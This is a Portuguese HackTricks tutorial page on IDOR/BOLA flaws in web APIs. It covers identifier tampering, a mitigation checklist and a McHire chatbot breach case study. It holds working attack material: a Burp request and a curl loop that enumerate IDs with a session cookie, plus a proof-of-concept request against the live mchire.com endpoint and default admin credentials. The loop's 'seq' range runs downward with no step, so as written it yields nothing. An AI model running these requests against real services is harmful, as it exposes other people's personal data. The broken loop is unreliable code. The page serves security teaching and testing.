IDOR (Insecure Direct Object Reference)

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou de API divulga ou aceita um identificador controlado pelo usuário que é usado diretamente para acessar um objeto interno sem verificar se o chamador está autorizado a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite a escalada de privilégios horizontal ou vertical, como ler ou modificar dados de outros usuários e, no pior dos casos, a tomada total de conta ou exfiltração em massa de dados.


1. Identificando Potenciais IDORs

  1. Procure por parâmetros que referenciam um objeto:
  • Caminho: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Consulta: ?id=42, ?invoice=2024-00001
  • Corpo / JSON: {"user_id": 321, "order_id": 987}
  • Cabeçalhos / Cookies: X-Client-ID: 4711
  1. Prefira endpoints que leem ou atualizam dados (GET, PUT, PATCH, DELETE).
  2. Observe quando os identificadores são sequenciais ou previsíveis – se seu ID é 64185742, então 64185741 provavelmente existe.
  3. Explore fluxos ocultos ou alternativos (por exemplo, "membros da equipe Paradox" link em páginas de login) que podem expor APIs extras.
  4. Use uma sessão autenticada de baixo privilégio e mude apenas o ID mantendo o mesmo token/cookie. A ausência de um erro de autorização é geralmente um sinal de IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Enumeração automatizada (Burp Intruder / loop curl)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

2. Estudo de Caso do Mundo Real – Plataforma de Chatbot McHire (2025)

Durante uma avaliação do portal de recrutamento McHire alimentado por Paradox.ai, o seguinte IDOR foi descoberto:

  • Endpoint: PUT /api/lead/cem-xhr
  • Autorização: cookie de sessão do usuário para qualquer conta de teste de restaurante
  • Parâmetro do corpo: {"lead_id": N} – identificador numérico sequencial de 8 dígitos

Ao diminuir lead_id, o testador recuperou PII completa de candidatos arbitrários (nome, e-mail, telefone, endereço, preferências de turno) além de um JWT de consumidor que permitia o sequestro de sessão. A enumeração do intervalo 1 – 64,185,742 expôs aproximadamente 64 milhões de registros.

Requisição de Prova de Conceito:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combined with credenciais de administrador padrão (123456:123456) que concediam acesso à conta de teste, a vulnerabilidade resultou em uma violação de dados crítica em toda a empresa.


3. Impacto do IDOR / BOLA

  • Escalação horizontal – ler/atualizar/excluir dados de outros usuários.
  • Escalação vertical – usuário com baixo privilégio ganha funcionalidade exclusiva de administrador.
  • Violação de dados em massa se os identificadores forem sequenciais (por exemplo, IDs de candidatos, faturas).
  • Tomada de conta ao roubar tokens ou redefinir senhas de outros usuários.

4. Mitigações & Melhores Práticas

  1. Impor autorização em nível de objeto em cada solicitação (user_id == session.user).
  2. Preferir identificadores indiretos e imprevisíveis (UUIDv4, ULID) em vez de IDs auto-incrementais.
  3. Realizar autorização do lado do servidor, nunca confiar em campos de formulário ocultos ou controles de UI.
  4. Implementar verificações de RBAC / ABAC em um middleware central.
  5. Adicionar limitação de taxa e registro para detectar enumeração de IDs.
  6. Testar a segurança de cada novo endpoint (unitário, integração e DAST).

5. Ferramentas

  • Extensões do BurpSuite: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Projetos do Github: bwapp-idor-scanner, Blindy (caça IDOR em massa).

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks